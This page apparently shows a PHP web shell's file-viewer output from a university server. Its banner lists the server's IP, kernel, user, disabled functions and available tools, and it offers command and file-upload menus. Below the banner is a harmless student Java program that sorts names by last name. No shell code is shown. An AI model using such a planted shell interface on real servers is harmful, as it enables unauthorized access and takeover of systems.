Server IP : 172.16.15.8 / Your IP : 3.135.184.27 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/amjamgochian/cs440/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Author: Abby Jamgochian // Prof: Dr. Wang // Due: Monday, 18 Feb. 2013 // Program name: hw4_queue.java // Goal: The program will simulate the queue operation by // reading a queue of names, sorting them in ascending // order (by last name), and send the new queue to a file. // import java.util.Scanner; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.io.File; import java.io.PrintWriter; public class hw4_queue { public static void main(String[] args) throws java.io.FileNotFoundException { ArrayList<String> arrayList = new ArrayList<String>(); PrintWriter output = new PrintWriter("names_output.txt"); Scanner input = new Scanner(new File("names.txt")); String name1, name2, name; while(input.hasNext()) { name1 = input.next(); // first name name2 = input.next(); // last //arrayList.add(name); name = name2 + " " + name1; arrayList.add(name); } input.close(); Collections.sort(arrayList); output.print("Sorted by last name:\n" + arrayList + "\n"); output.close(); System.out.println("\nAll done. Check names_output.txt\n\n"); } }